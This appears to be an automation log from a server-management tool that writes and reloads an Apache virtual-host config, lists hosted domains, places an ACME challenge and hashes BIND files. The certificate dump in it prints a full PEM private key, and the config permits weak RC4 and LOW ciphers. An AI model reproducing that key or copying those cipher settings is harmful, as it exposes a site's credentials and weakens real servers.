chmod 755 /tmp/pkp852327; /tmp/pkp852327; rm /tmp/pkp852327

2026-05-26 06:00:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_support_com.conf 47

<VirtualHost *:80>
    ServerName	support.patientapps.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_support/public
    <Directory /var/www/patientapps_support>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/support_access.log combined
    ErrorLog	/var/log/apache2/patientapps/support_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	support.patientapps.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt
    DocumentRoot	/var/www/patientapps_support/public
    <Directory /var/www/patientapps_support>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/support_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/support_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-05-26 06:00:40: 

PUT: /tmp/pkp617743

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_support_com.conf
TARGET=/etc/apache2/sites-enabled/patientapps_support_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	support.patientapps.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_support/public
    <Directory /var/www/patientapps_support>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/support_access.log combined
    ErrorLog	/var/log/apache2/patientapps/support_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	support.patientapps.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt
    DocumentRoot	/var/www/patientapps_support/public
    <Directory /var/www/patientapps_support>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/support_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/support_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_support_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_support_com.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_support_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_support_com.conf= 1'
fi


2026-05-26 06:00:40: 

chmod 755 /tmp/pkp617743; /tmp/pkp617743; rm /tmp/pkp617743

2026-05-26 06:00:40: 




2026-05-26 06:00:40: 

PUT: /tmp/pkp518060

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-26 06:00:40: 

chmod 755 /tmp/pkp518060; /tmp/pkp518060; rm /tmp/pkp518060

2026-05-26 06:00:41: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-26 06:00:41: Establishing a connection
2026-05-26 06:00:41: 

PUT: /tmp/pkp494761

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-26 06:00:41: 

chmod 755 /tmp/pkp494761; /tmp/pkp494761; rm /tmp/pkp494761

2026-05-26 06:00:41: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-26 06:00:41: 

PUT: /tmp/pkp417721

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_support_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-26 06:00:41: 

chmod 755 /tmp/pkp417721; /tmp/pkp417721; rm /tmp/pkp417721

2026-05-26 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_support_com.conf	1807

<VirtualHost *:80>
    ServerName	support.patientapps.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_support/public
    <Directory /var/www/patientapps_support>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/support_access.log combined
    ErrorLog	/var/log/apache2/patientapps/support_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	support.patientapps.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt
    DocumentRoot	/var/www/patientapps_support/public
    <Directory /var/www/patientapps_support>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/support_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/support_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-05-26 06:00:41: 

PUT: /tmp/pkp432384

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-26 06:00:41: 

chmod 755 /tmp/pkp432384; /tmp/pkp432384; rm /tmp/pkp432384

2026-05-26 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt	5365
34:e7:67:09:61:fd:d6:53:52:53:e8:eb:9b:b6:94:50

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBQAtwGxI6oxFa0a2n3Lav6OfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTI2MDUwMjA5WhcNMjYwODI0MDUwMjA4WjAiMSAwHgYDVQQD
ExdzdXBwb3J0LnBhdGllbnRhcHBzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAL9Mz7RtOMw06G3rXe3d3h0f6yeM3e7P4XbTdcJgY7HZNXr1mtkk
Slt7FF2fiwC/bwcjB5qvKejXzBAw+hYA+NIjlq8yN6dMELDDgE0TUPwSKMJMvfN/
qMbQCdAtxB4Me39Vb91aOIi0Pt8Nst4Rw0tq2iu+WC/KExNejtlQlMsbj4dofDWl
EpBCWV7d4XUAFQlQ4Zyx4cF8U+KQ4g3I8f2BOBxvYkIXrkRMAIxuPfFKtd+3KTij
LUweO3cNJ9Ht4VyidkZnNTeMNg2l4DwHyvaPIizfguuV1ZSqwpx/wl2SSjtW+7Ww
9vQpqf1o0q7dS16GgbtCVN4KDUWV9xUjJAsCAwEAAaOCAiUwggIhMA4GA1UdDwEB
/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQlrNyFtdf71uPcTsV/WKkYljr78jAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCIGA1UdEQQbMBmCF3N1cHBvcnQucGF0aWVudGFwcHMu
Y29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMzIuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4
AH0AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGeYt73CgAIAAAF
AAyUkp4EAwBGMEQCIG8mOEzSx0UgTod6zysE/05/6rrOjUwJR3CXcqvnhoBIAiBy
UnMmxJpDBKM4+TiHJt1W44Uc0WZjJdW9qERFszSdiwB3AK9niDtXsE7dj6bZfvYu
qOuBCsdxYPAkXlXWDC/nhYc6AAABnmLe940AAAQDAEgwRgIhAPq81tPPbPY6PRzO
rpDzYYtnJ+nj5Rq/lvBnxZ/ZE6GuAiEAhj5FeRc10+p24ax7hwe40P0FvUTePCyk
olkIkdYvuOwwDQYJKoZIhvcNAQELBQADggEBADCkLOWgwQVz/RwAx3z6qNqcLiJq
BY+VPG5d5nzv396/YS/DjAfYnpW7tkN/PR4Ae6KCNX8QrBrVl2LzErY67k+F3MYK
NYUigmKpwONq70VVmKwF5Vj3QuT6Lr9VUVMeP1RninjIcbZv3oOxEBCia0AWGVzz
DEBXVo3wKZ27Br+Lc2x3ETw2/PJQHHFA3vBXqoofi3KRk1WB/lcS5BC+fDy5BVbv
7IItE4jQeapgrx/NskET6s+Az2Vo29a7OZvTMYErDUR1VIjJseGbgaNVmOKdAzBR
ZhextrB+96LbGnSZsnV7zkMzqJ83tXvCI9xq+P9Rq+RTyRwKeqTCxxsQx9I=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC/TM+0bTjMNOht
613t3d4dH+snjN3uz+F203XCYGOx2TV69ZrZJEpbexRdn4sAv28HIwearyno18wQ
MPoWAPjSI5avMjenTBCww4BNE1D8EijCTL3zf6jG0AnQLcQeDHt/VW/dWjiItD7f
DbLeEcNLatorvlgvyhMTXo7ZUJTLG4+HaHw1pRKQQlle3eF1ABUJUOGcseHBfFPi
kOINyPH9gTgcb2JCF65ETACMbj3xSrXftyk4oy1MHjt3DSfR7eFconZGZzU3jDYN
peA8B8r2jyIs34LrldWUqsKcf8Jdkko7Vvu1sPb0Kan9aNKu3UtehoG7QlTeCg1F
lfcVIyQLAgMBAAECggEAEewkWYcSFy+txv6SIkLzGE9xPJdaA5G+Ud+l3LwjGvp6
pDZ2d3mK7d8uHUdhQoSs5kJF6BwZFROCrtGn3H/iz+09pNRTmnzp42Wtk4sHv1YE
M4/1C+cd7OJ4yORAx3/r4hYjEN3vBf+9FDC4XU3UujAcmJSQtol8GAh34axHBHA7
GsBv+OVWIzvIh8lLwuyKndxByz8fpHlNr9lGJNymIwxdBgM3Kxi+bd4tSvNO4qLD
48+K9i9wtyRFkpPt28LzVEMMLtALEUxn6v64d9+aVqQasdXAjiDYKoYrD4ZCuuJr
osQHRa5SpzE2LWm9MBQFRawwpLjS2hSrMDrzHQoYgQKBgQDjhPMqAZXjf6/LqCGR
nqZv9TK8vtX4mNMIEqeN7Aam7RrVNOTeMLBxGpRRpNCnN1Mlbw8c5qjnRfACCQkY
DKh92Xxo+2dZQE3dorz5ES1Rww4Bno1kBSrLQd7bBIeX5C+RqVtZfPWZqFLvCINc
dtuMig/u8MQKj+W45d9qmE1fsQKBgQDXPy7+wpj7AdDv9l4aSxSJIIGOdMCbH/MW
ZWKoblvvWa1DSO2H+WQsYGT/aQIT5MJspIwUwPMl5Ujg64j2mbV/5Z0cZFcBGcm4
ATslRDNFvajDlM5vdR6PxRtj7/i9MEpER0gZOlVIuD+TJ5l4elU+V6eCPgHkyOiS
NcNq911KewKBgCAT5pTNlGx23DpCgjkdvSmb0IN8BH8ATQCeYLFJzcZLN7VHt9z7
0GSh8rdwHVr2Ger1NZRFkRrKaYRf8cBKSJc1yqyihXe38UKGZ05WdaVJcvgXeqfX
cqklqF4IzXVE3tASqKZ9T8NSUB8TfDHVMC8oaAawO3OhxinDfzRwNLiBAoGACras
YiXRc3ztp2P93xUpmoGxsSOCirYWZWD6fiOwE8PE6fpxSDlTkRnjLQtO/Sp/uuSd
zFKmR5aYAAn5MT0JWapWHZmo8vcToUL+bKZuXuRHyCRZ+hY8RS+sY1cIbHJA4BEk
N409vXbeQzbPXr3IDGhUgBkSAw809EIUzfgt/o0CgYBZ/z84gqocoKm2D8+d+xpy
QwRkzyeGaN++n39+SOwuSellROdVUzJG427bUQRgypuUryZvPEq9iKJG1y9Ad78I
55EHjkYZ4fuMekA7buvR83tklg5DjnSax/KRLssfnB0uwx1bzaJaKJ9/o08MMuUN
hwjvVJTq21mpd5xRVKuwtA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-26 06:00:41: Establishing a connection
2026-05-26 06:00:41: Establishing a connection
2026-05-26 06:00:42: 

PUT: /tmp/pkp185489

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-26 06:00:42: 

chmod 755 /tmp/pkp185489; /tmp/pkp185489; rm /tmp/pkp185489

2026-05-26 06:00:42: 


1


2026-05-26 06:00:43: Establishing a connection
2026-05-26 06:00:43: 

PUT: /tmp/pkp686374

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > 6I6xZ8WtqKIoOqnoOlvDUlCPzbP_Tml2umAPhPlE4GE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
6I6xZ8WtqKIoOqnoOlvDUlCPzbP_Tml2umAPhPlE4GE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 6I6xZ8WtqKIoOqnoOlvDUlCPzbP_Tml2umAPhPlE4GE


2026-05-26 06:00:43: 

chmod 755 /tmp/pkp686374; /tmp/pkp686374; rm /tmp/pkp686374

2026-05-26 06:00:43: 




2026-05-26 06:00:45: Establishing a remote connection
2026-05-26 10:08:43: Establishing a connection
2026-05-26 10:08:53: Establishing a connection
2026-05-26 10:08:54: 

PUT: /tmp/pkp368856

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-26 10:08:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp368856; rm /tmp/pkp368856'

2026-05-26 10:08:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
